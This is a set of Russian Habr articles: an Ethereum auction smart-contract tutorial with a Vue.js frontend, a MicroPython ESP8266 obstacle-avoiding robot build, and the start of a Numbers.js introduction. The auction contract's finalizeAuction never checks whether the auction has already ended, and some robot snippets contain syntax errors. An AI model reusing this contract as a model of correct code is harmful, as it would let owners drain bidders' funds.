Руководители сотрудников имеют полную, оформленную информацию о графике отпусков своих подчиненных, могут эффективней планировать деятельность подразделения и, что немаловажно, собственные отпуска.
Но больше всех выиграл, конечно, отдел кадров: во-первых, сервис подачи заявок на отпуск — это защита от случайных ошибок в цифрах, во-вторых, он существенно сокращает бумажный документооборот, который обычно неизбежно разрастается вокруг каждого отпускника, в-третьих, интеграция с БОСС-Кадровик позволяет кадровому отделу эффективно вести аналитический учет затрат на персонал и оплату труда. | https://habr.com/ru/post/213125/ | null | ru | null |
# Ethereum Solidity + Vue.js Tutorial Simple Auction Dapp за 10 минут
Привет хабр! Недавно заметил, что на рускоязычную аудиторию очень мало туториялов чтобы войти в мир блокчейна и разрабатывать там. Решил поделиться статьей про смарт-контракты на Ethereum. Эта статья очень помогла мне когда-то, вникнуть в мир блокчейна и разрабатывать там смарт контракты. Оригинал статьи по этой [ссылке](https://medium.com/openberry/ethereum-solidity-vue-js-tutorial-simple-auction-dapp-within-10-minutes-76ba48156b2).
Возможно, вы слышали об аукционах, где можно покупать и продавать вещи. Несмотря на то, что это очень удобно, продавцы обходятся примерно в 10% от их заработка, чтобы заплатить комиссию за обслуживание управляющей компании аукциона.
Если компания сама обманывает некоторые транзакции и получает деньги, как вы узнаете, что вас обманули?
Именно здесь децентрализованная установка является оптимальным решением.
Если нет третьей стороны, продавцы могут зарабатывать больше безопасным способом.
Список функций
--------------
1. Создание аукциона
2. Размещение ставки
3. Завершение аукциона
### Инструменты
1. Смарт-контракт[Solidity](https://solidity.readthedocs.io/en/latest/) , [Remix](https://remix.ethereum.org/) , [Metamask](https://metamask.io/)
2. Frontend[Web3.js](https://web3js.readthedocs.io/en/1.0/) , [Vue.js](https://vuejs.org/) , [Вью-кли](https://cli.vuejs.org/) , [Boostrap-вю](https://bootstrap-vue.js.org/)
### Предпосылки
1. [Начало работы с MetaMask](https://medium.com/openberry/getting-started-with-metamask-b9ac23a10c83)
2. [Компиляция и развертывание с использованием Remix IDE](https://medium.com/openberry/compile-and-deploy-using-remix-ide-f58fcc662ed0)
3. [Введение в смарт-контракты и надежность](https://solidity.readthedocs.io/en/latest/)
### Github
Если вы хотите увидеть только код, вы можете найти его здесь:
<https://github.com/openberry-ac/Auction>
Зачем создавать приложение для аукционов?
-----------------------------------------
Аукционная система - хорошее приложение для изучения смарт-контрактов и децентрализованных приложений, особенно для начинающих.
Смарт-контракты помогут вам обменивать деньги, собственность, акции или что-либо ценное прозрачным и бесконфликтным способом, избегая при этом услуг посредников, таких как система аукционов.
Создание проекта
----------------
### Рабочий процесс
1. Создание смарт-контракта
2. Создание веб-приложения и настройка Web3.js
3. Определение методов: кодирование во внешнем интерфейсе
Создание смарт-контракта
------------------------
Поскольку наш контракт будет основан на Ethereum, мы будем использовать [Solidity](https://solidity.readthedocs.io/en/latest/) , язык программирования, используемый для создания смарт-контрактов.
В [Remix](https://remix.ethereum.org/) создайте новый файл с именем **AuctionBox.sol** и добавьте следующий код:
```
// AuctionBox.sol
// We will be using Solidity version 0.5.3
pragma solidity 0.5.3;
// Importing OpenZeppelin's SafeMath Implementation
import "https://github.com/OpenZeppelin/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract AuctionBox{
Auction[] public auctions;
function createAuction (
string memory _title,
uint _startPrice,
string memory _description
) public{
// set the new instance
Auction newAuction = new Auction(msg.sender, _title, _startPrice, _description);
// push the auction address to auctions array
auctions.push(newAuction);
}
function returnAllAuctions() public view returns(Auction[] memory){
return auctions;
}
}
contract Auction {
using SafeMath for uint256;
address payable private owner;
string title;
uint startPrice;
string description;
enum State{Default, Running, Finalized}
State public auctionState;
uint public highestPrice;
address payable public highestBidder;
mapping(address => uint) public bids;
/** @dev constructor to creat an auction
* @param _owner who call createAuction() in AuctionBox contract
* @param _title the title of the auction
* @param _startPrice the start price of the auction
* @param _description the description of the auction
*/
constructor(
address payable _owner,
string memory _title,
uint _startPrice,
string memory _description
) public {
// initialize auction
owner = _owner;
title = _title;
startPrice = _startPrice;
description = _description;
auctionState = State.Running;
}
modifier notOwner(){
require(msg.sender != owner);
_;
}
/** @dev Function to place a bid
* @return true
*/
function placeBid() public payable notOwner returns(bool) {
require(auctionState == State.Running);
require(msg.value > 0);
// update the current bid
// uint currentBid = bids[msg.sender] + msg.value;
uint currentBid = bids[msg.sender].add(msg.value);
require(currentBid > highestPrice);
// set the currentBid links with msg.sender
bids[msg.sender] = currentBid;
// update the highest price
highestPrice = currentBid;
highestBidder = msg.sender;
return true;
}
function finalizeAuction() public{
//the owner and bidders can finalize the auction.
require(msg.sender == owner || bids[msg.sender] > 0);
address payable recipiant;
uint value;
// owner can get highestPrice
if(msg.sender == owner){
recipiant = owner;
value = highestPrice;
}
// highestBidder can get no money
else if (msg.sender == highestBidder){
recipiant = highestBidder;
value = 0;
}
// Other bidders can get back the money
else {
recipiant = msg.sender;
value = bids[msg.sender];
}
// initialize the value
bids[msg.sender] = 0;
recipiant.transfer(value);
auctionState = State.Finalized;
}
/** @dev Function to return the contents od the auction
* @return the title of the auction
* @return the start price of the auction
* @return the description of the auction
* @return the state of the auction
*/
function returnContents() public view returns(
string memory,
uint,
string memory,
State
) {
return (
title,
startPrice,
description,
auctionState
);
}
}
```
В реальных условиях многие предметы могут быть проданы с аукциона. Чтобы упростить доступ ко всем предметам, выставленным на аукцион, мы создали пакет или коробку под названием «AuctionBox», в которой указаны все адреса аукционов!
Чтобы эта система работала, нам нужно подготовить два типа контрактов, которые называются контрактом аукциона и контрактом AuctionBox.
После написания в Remix разверните его в **тестовой сети Ropsten.**
Чтобы убедиться, что наш контракт был развернут, вы должны увидеть это в Remix:Здесь нам нужно выбрать контракт **AuctionBox** .
**Создадим аукцион!**
После развертывания попробуем провести аукцион методом **createAuction** .
В случае успеха вы можете нажать **returnAllAuctions** и увидеть адрес контракта!
Создание веб-приложения
Теперь наш смарт-контракт работает, но просто смотреть на числа неинтересно, поэтому мы создадим простое веб-приложение.
### Настройка
Чтобы ускорить процесс, предоставляется шаблонный проект, который можно найти здесь. Теперь давайте выполним следующие команды в вашем терминале (или в командной строке/Powershell для Windows):
```
# git clone the project template
git clone -b boilerplate --single-branch https://github.com/openberry-ac/Auction.git
# go inside the folder
cd Auction
# install packages needed in the web application
npm install
# install web3, this is for connecting the contract
npm install -s web3@1.0.0-beta.37
# To run the app
npm run dev
```
Затем он должен автоматически отображаться на <http://localhost:8080/>
Настройка web3.js
-----------------
Откройте файл с именем **web3.js** в папке **контрактов** , затем вставьте его как следующий код:
```
// web3.js
import Web3 from 'web3';
if (window.ethereum) {
window.web3 = new Web3(ethereum);
try {
// Request account access if needed
ethereum.enable();
} catch (error) {
// User denied account access...
}
} else if (window.web3) { // Legacy dapp browsers...
window.web3 = new Web3(web3.currentProvider);
} else { // Non-dapp browsers...
console.log('Non-Ethereum browser detected. You should consider trying MetaMask!');
}
console.log(web3);
export default web3;
```
По сути, это получает `web3`экземпляр, который инициализирует расширение Metamask, поэтому мы можем использовать его и в нашем приложении. Нам нужно вызвать это позже при получении экземпляра нашего смарт-контракта.
Вы можете встретить всплывающее окно MetaMask в вашем браузере, которое запрашивает разрешение на доступ. Вам нужно просто нажать кнопку «Подключиться» прямо здесь:
Подключение к нашему экземпляру смарт-контракта
-----------------------------------------------
Теперь нам нужен ABI нашего смарт-контракта и адрес контракта, чтобы подключить его к нашему веб-приложению. Чтобы получить ABI, вернитесь в [Remix](https://remix.ethereum.org/) , перейдите на вкладку **Compile** и нажмите **ABI** рядом с кнопкой Details, как показано на рисунке:
Чтобы получить адрес контракта, перейдите на вкладку « **Выполнить** » и нажмите кнопку « **Копировать»** , как показано на рисунке:
Вы также можете получить **аукцион** контакт **ABI** путем изменения выбранного контракта на аукцион и нажав ABI.
После того, открыть файлы с именем **AuctionBoxInstance.js** и **AuctionInstance.js** в папкe **contracts**, а затем вставьте его в качестве переменного **ABI** «s значения и договора адреса, как это:
```
//AuctionBoxInstance.js
import web3 from './web3';
const address = ''// THE CONTRACT ADDRESS
const abi = []// THE ABI
const instance = new web3.eth.Contract(abi, address);
export default instance;
```
```
// AuctionInstance.js
import web3 from './web3';
const abi = []// THE ABI
// Here is just only abi because we haven't created auction yet.
export default (address) => {
const instance = new web3.eth.Contract(abi, address);
return instance;
};
```
Определение методов
Вы могли заметить, что пользовательский интерфейс есть, но кнопки не работают. Это потому, что мы еще не определили наши функции, чем мы сейчас займемся. Откройте **App.vue** в папке src и приступим к заполнению пробелов!
**beforeMount**
Здесь мы получим количество аукционов, которые вы создали ранее.
```
// App.vue
beforeMount() {
// get auctionBox method: returnAllAuctions()
auctionBox.methods
.returnAllAuctions()
.call()
.then((auctions) => {
console.log(auctions);
// set the amount of auctions
this.amount = auctions.length;
});
},
```
**Создать функцию аукциона**
Здесь мы создаем аукцион, используя данные пользователя, которые будут показаны внизу страницы.
```
// App.vue
createAuction() {
// get accounts
web3.eth.getAccounts().then((accounts) => {
// convert 'ether' to 'wei'
const startPrice = web3.utils.toWei(this.startPrice, 'ether');
// createAuction in AuctionBox contract
this.isLoad = true;
return auctionBox.methods.createAuction(this.title, startPrice, this.description)
.send({ from: accounts[0] });
}).then(() => {
// initialize forms
this.isLoad = false;
this.title = '';
this.startPrice = '';
this.description = '';
// get the previous auction
return auctionBox.methods.returnAllAuctions().call();
}).then((auctions) => {
const index = auctions.length - 1;
console.log(auctions[index]);
// get the contract address of the previous auction
this.auctionAddress = auctions[index];
// set the address as the parameter
const auctionInstance = auction(auctions[index]);
return auctionInstance.methods.returnContents().call();
})
.then((lists) => {
console.log(lists);
const auctionlists = lists;
// convert 'wei' to 'ether'
auctionlists[1] = web3.utils.fromWei(auctionlists[1], 'ether');
this.auctionCard = auctionlists;
// show up the auction at the bottom of the page
this.isShow = true;
this.amount += 1;
})
.catch((err) => {
console.log(err);
});
},
```
**Функция размещения ставки**
Здесь мы обрабатываем событие, когда пользователь делает ставку.
```
// App.vue
handleSubmit() {
// convert 'ether' to 'wei'
const bidPriceWei = web3.utils.toWei(this.bidPrice, 'ether');
// get the wallet adddress
const fromAddress = web3.eth.accounts.givenProvider.selectedAddress;
// set the address as the parameter
const selectedAuction = auction(this.auctionAddress);
this.isBid = true;
// placeBid in Auction contract
selectedAuction.methods
.placeBid()
.send({
from: fromAddress,
value: bidPriceWei,
})
.then(() => {
this.isBid = false;
// increase the number of bidders
this.bidders += 1;
this.bidPrice = '';
});
},
```
**Завершить аукцион**
Здесь мы обрабатываем событие, при котором пользователь завершает аукцион.
```
// App.vue
handleFinalize() {
// get accounts
web3.eth.getAccounts().then((accounts) => {
// set the address as the parameter
const selectedAuction = auction(this.auctionAddress);
this.isFin = true;
// finalizeAuction in Auction contract
selectedAuction.methods
.finalizeAuction()
.send({ from: accounts[0] })
.then(() => {
this.isFin = false;
this.finalizeStatus = 'finalized';
});
});
},
```
Мы уже создали аукцион в Remix, адрес его контракта вы можете увидеть в консоли.
В моем случае я создал 9 аукционов, поэтому могу видеть это в консоли:
Завершено !!
Обновите браузер, чтобы увидеть изменения. На этот раз все веб-приложение готово, и все работает! После этого вы сможете использовать его так:
ПРИМЕЧАНИЕ: Тот, кто сделал действие, не может делать ставки на собственном аукционе. Итак, вам нужно переключиться на другую учетную запись (отличную от стартовой), чтобы сделать ставку.
ПРИМЕЧАНИЕ. Чтобы отобразить карточку аукциона, создайте еще один аукцион в своем браузере.
Резюме
------
Вы узнали, как создать смарт-контракт и как с ним взаимодействовать с помощью web3.js. Вы также узнали, как настроить свой собственный проект с помощью Vue.js, и создали простое приложение.
Ну и что дальше?
Возможно, вы захотите добавить логику для «крайнего срока», потому что это важно в реальном приложении для аукционов. На данный момент мы пропустили его, чтобы избежать сложности и сократить время, но если вы хотите попробовать его собрать, [это вам очень поможет](https://solidity.readthedocs.io/en/v0.5.2/solidity-by-example.html#blind-auction).
Если вам нужен полный код этого руководства, вы можете [проверить его здесь.](https://github.com/openberry-ac/Auction) | https://habr.com/ru/post/535974/ | null | ru | null |
# Простой робот на МК esp8266 c micropython
Привет, Хабр!
Эта статья описывает процесс апгрейда [самоходной платформы](https://habr.com/ru/post/495576/) на базе МК esp8266 с [micropython](https://docs.micropython.org/en/latest/), до простейшего робота, оснащённого сканирующим ультразвуковым датчиком препятствий, мигающим светодиодом, кнопкой «старт/стоп», а также встроенным веб-сервером, в рамках учебного проекта.
КДПВ:
Итак, в первых двух частях было описано изготовление самоходной платформы, управляемой через web интерфейс по wifi.
Задача на текущий этап — оснастить эту платформу УЗ датчиком HC-SR04, и добавить возможность работы в автономном режиме.
Для начала — механическая часть:
необходимо закрепить датчик и сервомашинку в корпусе, проектируем (я использовал для этого [FreeCAD](https://www.freecadweb.org/)) и изготавливаем недостающие детали:
Потом — электрическая:
составляем схему (например, во [Fritzing](https://fritzing.org/home/)) и выполняем коммутацию в соответствии с ней:
После чего, попытаемся заставить всё это взлететь…
Так как хотелось, что бы отдельные функции программы робота выполнялись параллельно (например, процесс сканирования дистанции до препятствий и функции движения), пришлось погрузиться в возможности модуля [asyncio](https://docs.micropython.org/en/latest/library/uasyncio.html). Более подробно работа с asyncio описана в [этой](https://habr.com/ru/post/484472/#3) и [этой](https://habr.com/ru/post/337420/) статьях.
Например, для мигания светодиодом можно применить такую сопрограмм(coroutine), которая практически не отличается от синхронной:
```
import uasyncio as asyncio
from machine import Pin
# onboard LED is connected to D0(GPIO16)
syst_led = Pin(16, Pin.OUT)
async def blink_led(led, interval_ms):
led_val = True
while True:
led_val = not(led_val)
led_state = led.value(int(led_val))
await asyncio.sleep_ms(interval_ms)
# define loop
loop = asyncio.get_event_loop()
#create looped tasks
loop.create_task(blink_led(syst_led, interval_ms=250))
# loop run forever
loop.run_forever()
```
Отличие в том, что таких сопрограмм, выполняющих разные задачи, можно запустить несколько одновременно (ресурсы при этом будет распределять планировщик).
Таким образом, напишем сопрограммы для измерения дистанции и сканирования сектора, а так же callback на аппаратное прерывание (кнопку), запускающую или останавливающую сканирование. Передачу состояния между сопрограммами в простейшем случае можно сделать через глобальные переменные:
*Callback для кнопки:*
```
from machine import Pin
run_flag = False
# on/off button
button = Pin(15, Pin.IN, Pin.PULL_UP) # connected to D8 (GPIO15)
# callback function for start/stop button
def callback(p):
global run_flag
run_flag = not(run_flag)
print('set run_flag', run_flag, p)
# create callback for button:
button.irq(trigger=Pin.IRQ_FALLING, handler=callback)
```
*Измерение дистанции:*
```
import uasyncio as asyncio
from utime import sleep, sleep_us
from machine import Pin, time_pulse_us
# HC-SR04 ultrasonic sensor connected to GPIO12(D6)-trigger and GPIO13(D7)-echo
trig=Pin(12, Pin.OUT)
echo=Pin(13, Pin.IN)
async def async_measure_range():
echo_timeout_us=500*2*30 # Timeout in microseconds to listen to echo pin.
trig.off() # Stabilize the sensor
sleep_us(5)
trig.on()
sleep_us(10) # Send a 10us pulse.
trig.off()
try:
pulse_time = time_pulse_us(echo, 1, echo_timeout_us)
except:
pass
dist = (pulse_time / 2) / 29.1
return dist
```
*Сканирование сектора (с вызовом сопрограммы измерения дистанции):*
```
import uasyncio as asyncio
from machine import Pin, PWM
pos_actual = 75
dist_cm = 50
# servo SG90 connected to GPIO14(D5)
p14 = Pin(14, Pin.OUT)
servo = PWM(p14, freq=50)
async def radar_scan(interval_ms):
pos_list = [45,75,105,75]
global pos_actual
global dist_cm
while True:
if run_flag:
for pos in pos_list:
servo.duty(pos)
await asyncio.sleep_ms(interval_ms)
dist_cm = await async_measure_range()
pos_actual = pos
print('pos_actual = %s, dist_cm = %s' % (pos_actual, dist_cm)
elif not run_flag:
await asyncio.sleep(0) # do nothing
# define loop
loop = asyncio.get_event_loop(
#create looped tasks
loop.create_task(radar_scan(interval_ms=250))
# loop run forever
loop.run_forever()
```
В процессе отладки сенсор, время от времени, выдавал отрицательное значение дистанции. Оказалось — *«Электроника — это наука о плохих контактах»*, при повороте датчика кабель натягивался и контакт терялся.
Осталось прикрутить логику выбора действия на основе результатов сканирования:
```
avoid_left = False
avoid_right = False
avoid_backward = False
async def make_decision(interval_ms, avoid_limit_cm):
global avoid_left
global avoid_right
global avoid_backward
while True:
if run_flag:
# make decision what to do
if pos_actual == 45 and dist_cm < avoid_limit_cm :
avoid_left = True
if debug : print('avoid_left = %s' % avoid_left)
elif pos_actual == 45 and dist_cm >= avoid_limit_cm :
avoid_left = False
if debug : print('avoid_left = %s' % avoid_left)
elif pos_actual == 75 and dist_cm < avoid_limit_cm*1.25 :
avoid_backward = True
if debug : print('avoid_backward = %s' % avoid_backward)
elif pos_actual == 75 and dist_cm >= avoid_limit_cm*1.25 :
avoid_backward = False
if debug : print('avoid_backward = %s' % avoid_backward)
elif pos_actual == 105 and dist_cm < avoid_limit_cm :
avoid_right = True
if debug : print('avoid_right = %s' % avoid_right)
elif pos_actual == 105 and dist_cm >= avoid_limit_cm :
avoid_right = False
if debug : print('avoid_right = %s' % avoid_right)
# for debuging
if debug : print('pos = %s, dist_cm = %s' % (pos_actual,dist_cm))
await asyncio.sleep_ms(interval_ms)
elif not run_flag:
await asyncio.sleep(0) # do nothing
#create looped tasks
loop.create_task(make_decision(interval_ms=250, avoid_limit_cm=15))
```
Двигательные функции:
```
from random import getrandbits
async def moving(interval_ms):
while True:
if run_flag:
# moving functions
if avoid_backward :
print('avoid_backward = %s' % avoid_backward)
await backward(interval_ms*2)
if bool(getrandbits(1)) :
await right_rotate(interval_ms+getrandbits(3)*100)
await stop_all()
else:
await left_rotate(interval_ms+getrandbits(3)*100)
await stop_all()
elif avoid_left :
print('avoid_left = %s' % avoid_left)
await left_turn(interval_ms)
elif avoid_right :
print('avoid_right = %s' % avoid_right)
await right_turn(interval_ms)
else:
print('move_forward')
await forward(interval_ms)
await asyncio.sleep_ms(interval_ms)
elif not run_flag:
#stop all motors first
await stop_all()
await asyncio.sleep(0) # do nothing
#create looped tasks
loop.create_task(moving(interval_ms=1000))
```
**И управление моторами**
```
# nodemcu pins from the motor shield
p5 = Pin(5, Pin.OUT) # connected to GPIO4(D1)
p4 = Pin(4, Pin.OUT) # connected to GPIO4(D2)
revrs_L = Pin(0, Pin.OUT, value=0) # connected to GPIO0(D3)
revrs_R = Pin(2, Pin.OUT, value=0) # connected to GPIO2(D4) , also connected to onboard wifi LED
motor_L = PWM(p5, freq=1000, duty=0)
motor_R = PWM(p4, freq=1000, duty=0)
speed = 1023 #TODO: variable speed
async def stop_all():
revrs_L.value(0)
motor_L.duty(0)
revrs_R.value(0)
motor_R.duty(0)
async def forward(interval_ms):
revrs_L.value(0)
motor_L.duty(speed)
revrs_R.value(0)
motor_R.duty(speed)
await asyncio.sleep_ms(interval_ms)
async def backward(interval_ms):
revrs_L.value(1)
motor_L.duty(speed)
revrs_R.value(1)
motor_R.duty(speed)
await asyncio.sleep_ms(interval_ms)
async def right_rotate(interval_ms):
revrs_L.value(0)
motor_L.duty(speed)
revrs_R.value(1)
motor_R.duty(speed)
await asyncio.sleep_ms(interval_ms)
async def left_rotate(interval_ms):
revrs_L.value(1)
motor_L.duty(speed)
revrs_R.value(0)
motor_R.duty(speed)
await asyncio.sleep_ms(interval_ms)
async def right_turn(interval_ms):
revrs_L.value(0)
motor_L.duty(speed)
revrs_R.value(0)
motor_R.duty(0)
await asyncio.sleep_ms(interval_ms)
async def left_turn(interval_ms):
revrs_L.value(0)
motor_L.duty(0)
revrs_R.value(0)
motor_R.duty(speed)
await asyncio.sleep_ms(interval_ms)
```
А также мигание светодиодом для контроля, что программа работает:
```
async def blink_led(led, interval_ms):
led_val = True
while True:
if run_flag:
led_val = not(led_val)
led_state = led.value(int(led_val))
await asyncio.sleep_ms(interval_ms)
elif not run_flag:
await asyncio.sleep(0) # do nothing
#create looped tasks
loop.create_task(blink_led(syst_led, interval_ms=250))
```
После чего, остаётся только собрать всё это
**в одно целое**
```
import gc
import uasyncio as asyncio
from utime import sleep, sleep_us
from machine import Pin, PWM, time_pulse_us
from random import getrandbits
# nodemcu pins from the motor shield
p5 = Pin(5, Pin.OUT) # connected to GPIO4(D1)
p4 = Pin(4, Pin.OUT) # connected to GPIO4(D2)
revrs_L = Pin(0, Pin.OUT, value=0) # connected to GPIO0(D3)
revrs_R = Pin(2, Pin.OUT, value=0) # connected to GPIO2(D4) , also connected to onboard wifi LED
motor_L = PWM(p5, freq=1000, duty=0)
motor_R = PWM(p4, freq=1000, duty=0)
speed = 1023 #TODO: variable speed
# servo SG90 connected to GPIO14(D5)
p14 = Pin(14, Pin.OUT)
servo = PWM(p14, freq=50)
# on/off button
button = Pin(15, Pin.IN, Pin.PULL_UP) # connected to D8 (GPIO15)
# onboard LED is connected to D0(GPIO16)
syst_led = Pin(16, Pin.OUT)
# HC-SR04 ultrasonic sensor connected to GPIO12(D6)-trigger and GPIO13(D7)-echo
trig=Pin(12, Pin.OUT)
echo=Pin(13, Pin.IN)
#global flags and variables
run_flag = False
avoid_left = False
avoid_right = False
avoid_backward = False
pos_actual = 75
dist_cm = 50
debug = False
# callback function for start/stop button
def callback(p):
global run_flag
run_flag = not(run_flag)
print('set run_flag', run_flag, p)
# sync fuctions
def stop_all_sync():
revrs_L.value(0)
motor_L.duty(0)
revrs_R.value(0)
motor_R.duty(0)
# async fuctions
async def stop_all():
revrs_L.value(0)
motor_L.duty(0)
revrs_R.value(0)
motor_R.duty(0)
async def forward(interval_ms):
revrs_L.value(0)
motor_L.duty(speed)
revrs_R.value(0)
motor_R.duty(speed)
await asyncio.sleep_ms(interval_ms)
async def backward(interval_ms):
revrs_L.value(1)
motor_L.duty(speed)
revrs_R.value(1)
motor_R.duty(speed)
await asyncio.sleep_ms(interval_ms)
async def right_rotate(interval_ms):
revrs_L.value(0)
motor_L.duty(speed)
revrs_R.value(1)
motor_R.duty(speed)
await asyncio.sleep_ms(interval_ms)
async def left_rotate(interval_ms):
revrs_L.value(1)
motor_L.duty(speed)
revrs_R.value(0)
motor_R.duty(speed)
await asyncio.sleep_ms(interval_ms)
async def right_turn(interval_ms):
revrs_L.value(0)
motor_L.duty(speed)
revrs_R.value(0)
motor_R.duty(0)
await asyncio.sleep_ms(interval_ms)
async def left_turn(interval_ms):
revrs_L.value(0)
motor_L.duty(0)
revrs_R.value(0)
motor_R.duty(speed)
await asyncio.sleep_ms(interval_ms)
async def moving(interval_ms):
while True:
if run_flag:
# moving functions
if avoid_backward :
print('avoid_backward = %s' % avoid_backward)
await backward(interval_ms*2)
if bool(getrandbits(1)) :
await right_rotate(interval_ms+getrandbits(3)*100)
await stop_all()
else:
await left_rotate(interval_ms+getrandbits(3)*100)
await stop_all()
elif avoid_left :
print('avoid_left = %s' % avoid_left)
await left_turn(interval_ms)
elif avoid_right :
print('avoid_right = %s' % avoid_right)
await right_turn(interval_ms)
else:
print('move_forward')
await forward(interval_ms)
await asyncio.sleep_ms(interval_ms)
elif not run_flag:
#stop all motors first
await stop_all()
await asyncio.sleep(0) # do nothing
async def blink_led(led, interval_ms):
led_val = True
while True:
if run_flag:
led_val = not(led_val)
led_state = led.value(int(led_val))
await asyncio.sleep_ms(interval_ms)
elif not run_flag:
await asyncio.sleep(0) # do nothing
async def async_measure_range():
echo_timeout_us=500*2*30 # Timeout in microseconds to listen to echo pin.
trig.off() # Stabilize the sensor
sleep_us(5)
trig.on()
sleep_us(10) # Send a 10us pulse.
trig.off()
try:
pulse_time = time_pulse_us(echo, 1, echo_timeout_us)
except:
pass
dist = (pulse_time / 2) / 29.1
return dist
async def make_decision(interval_ms, avoid_limit_cm):
global avoid_left
global avoid_right
global avoid_backward
while True:
if run_flag:
# make decision what to do
if pos_actual == 45 and dist_cm < avoid_limit_cm :
avoid_left = True
if debug : print('avoid_left = %s' % avoid_left)
elif pos_actual == 45 and dist_cm >= avoid_limit_cm :
avoid_left = False
if debug : print('avoid_left = %s' % avoid_left)
elif pos_actual == 75 and dist_cm < avoid_limit_cm*1.25 :
avoid_backward = True
if debug : print('avoid_backward = %s' % avoid_backward)
elif pos_actual == 75 and dist_cm >= avoid_limit_cm*1.25 :
avoid_backward = False
if debug : print('avoid_backward = %s' % avoid_backward)
elif pos_actual == 105 and dist_cm < avoid_limit_cm :
avoid_right = True
if debug : print('avoid_right = %s' % avoid_right)
elif pos_actual == 105 and dist_cm >= avoid_limit_cm :
avoid_right = False
if debug : print('avoid_right = %s' % avoid_right)
# for debuging
if debug : print('pos = %s, dist_cm = %s' % (pos_actual,dist_cm))
await asyncio.sleep_ms(interval_ms)
elif not run_flag:
await asyncio.sleep(0) # do nothing
async def radar_scan(interval_ms):
pos_list = [45,75,105,75]
global pos_actual
global dist_cm
while True:
if run_flag:
for pos in pos_list:
servo.duty(pos)
await asyncio.sleep_ms(interval_ms)
dist_cm = await async_measure_range()
pos_actual = pos
elif not run_flag:
await asyncio.sleep(0) # do nothing
#stop all motors first
stop_all_sync()
# move servo to initial position
print('Move sensor to initial position...')
servo.duty(75)
sleep(1) #wait 1s for servo reaching initial position
print('Waiting for start button...')
#enable gc
gc.enable()
# create callback fo button:
button.irq(trigger=Pin.IRQ_FALLING, handler=callback)
# define loop
loop = asyncio.get_event_loop()
#create looped tasks
loop.create_task(blink_led(syst_led, interval_ms=250))
loop.create_task(radar_scan(interval_ms=250))
loop.create_task(make_decision(interval_ms=250, avoid_limit_cm=15))
loop.create_task(moving(interval_ms=1000))
# loop run forever
loop.run_forever()
```
и проверить в работе:
Однако, хотелось бы сохранить и возможность ручного управления через web-страничку…
Для этого, в отдельной сопрограмме добавим простенький веб-сервер:
```
async def web_page(request):
global auto_run_flag
motor_state="Stopped"
if request.find('GET /?forward') > 0:
motor_state="Going Forward"
auto_run_flag = False
forward_sync()
elif request.find('GET /?left_rotate') > 0:
motor_state="Rotate Left"
auto_run_flag = False
left_rotate_sync()
elif request.find('GET /?right_rotate') > 0:
motor_state="Rotate Right"
auto_run_flag = False
right_rotate_sync()
elif request.find('GET /?left_turn') > 0:
motor_state="Turn Left"
auto_run_flag = False
left_turn_sync()
elif request.find('GET /?right_turn') > 0:
motor_state="Turn Right"
auto_run_flag = False
right_turn_sync()
elif request.find('GET /?backward') > 0:
motor_state="Going Backward"
auto_run_flag = False
backward_sync()
elif request.find('GET /?stop') > 0:
motor_state="Stopped"
auto_run_flag = False
stop_all_sync()
elif request.find('GET /?auto') > 0:
auto_run_flag = not auto_run_flag
if auto_run_flag :
motor_state="Autopilot"
elif not auto_run_flag :
motor_state="Stopped"
stop_all_sync()
html = """RoboTank WEB
html{font-family: Helvetica; display:inline-block; margin: 0px auto; text-align: center;}
h1{color: #0F3376; padding: 2vh;}p{font-size: 1.5rem;}
.button{display: inline-block; background-color: #33c080; border: none;
border-radius: 4px; color: white; text-decoration: none; font-size: 30px; width:100%}
.button2{background-color: #4286f4; width:30%}
.button3{background-color: #eb2b10; width:35%}
.button4{background-color: #8386f4; width:44%}
RoboTank WEB
============
Status : **""" + motor\_state + """**
[Forward](/?forward)
[LEFT](/?left_turn)
[STOP](/?stop)
[RIGHT](/?right_turn)
[Backward](/?backward)
[L-rotate](/?left_rotate)
[R-rotate](/?right_rotate)
[AUTO](/?auto)
"""
return html
async def web_handler(reader, writer):
try:
request = str(await reader.read(1024))
#print('request = %s' % request)
header = """HTTP/1.1 200 OK\nContent-Type: text/html\nConnection: close\n\n"""
response = await web_page(request)
await writer.awrite(header)
await writer.awrite(response)
await writer.aclose()
print("Finished processing request")
except Exception as e:
print(e)
async def tcp_server(host, port):
server = await asyncio.start_server(web_handler, host, port)
#create looped tasks
loop.create_task(tcp_server('0.0.0.0', 80))
```
**И синхронные функции движения для ручного управления.**
```
def stop_all_sync():
revrs_L.value(0)
motor_L.duty(0)
revrs_R.value(0)
motor_R.duty(0)
def backward_sync():
revrs_L.value(1)
motor_L.duty(speed)
revrs_R.value(1)
motor_R.duty(speed)
def forward_sync():
revrs_L.value(0)
motor_L.duty(speed)
revrs_R.value(0)
motor_R.duty(speed)
def right_rotate_sync():
revrs_L.value(0)
motor_L.duty(speed)
revrs_R.value(1)
motor_R.duty(speed)
def left_rotate_sync():
revrs_L.value(1)
motor_L.duty(speed)
revrs_R.value(0)
motor_R.duty(speed)
def right_turn_sync():
revrs_L.value(0)
motor_L.duty(speed)
revrs_R.value(0)
motor_R.duty(0)
def left_turn_sync():
revrs_L.value(0)
motor_L.duty(0)
revrs_R.value(0)
motor_R.duty(speed)
```
Внешний вид интерфейса:
Испытания финальной версии:
Исходники доступны [по ссылке.](https://github.com/rmavrichev/robotank)
Источники вдохновения:
[docs.micropython.org/en/latest/library/uasyncio.html](https://docs.micropython.org/en/latest/library/uasyncio.html)
[habr.com/ru/post/484446](https://habr.com/ru/post/484446/)
[habr.com/ru/post/337420](https://habr.com/ru/post/337420/)
[habr.com/ru/post/484472](https://habr.com/ru/post/484472/)
[github.com/peterhinch/micropython-async/blob/master/TUTORIAL.md](https://github.com/peterhinch/micropython-async/blob/master/TUTORIAL.md)
[github.com/rsc1975/micropython-hcsr04](https://github.com/rsc1975/micropython-hcsr04)
[medium.com/@pgjones/an-asyncio-socket-tutorial-5e6f3308b8b0](https://medium.com/@pgjones/an-asyncio-socket-tutorial-5e6f3308b8b0) | https://habr.com/ru/post/497062/ | null | ru | null |
# Математическая библиотека Numbers.js
Numbers.js добавляет к стандартным математическим возможностям JavaScript немного продвинутой математики — интегралы, операции над матрицами и комплексными числами, статистические функции, факторизацию и некоторые другие функции. Кроме того, библиотека определяет базовые арифметические операции над массивами — сложение, вычитание и умножение элементов, поиск минимума и максимума, случайное перемешивание массива и позволяет в явном виде задавать необходимую точность вычислений, что помогает избежать ошибок округления.
#### Примеры использования
Подключаем библиотеку под Node.js и вычисляем интеграл Римана (с разбиением на 200 отрезков и точностью 0.0001):
```
var numbers = require('numbers');
numbers.calculus.riemann(Math.sin, -2, 4, 200, 0.0001);
```
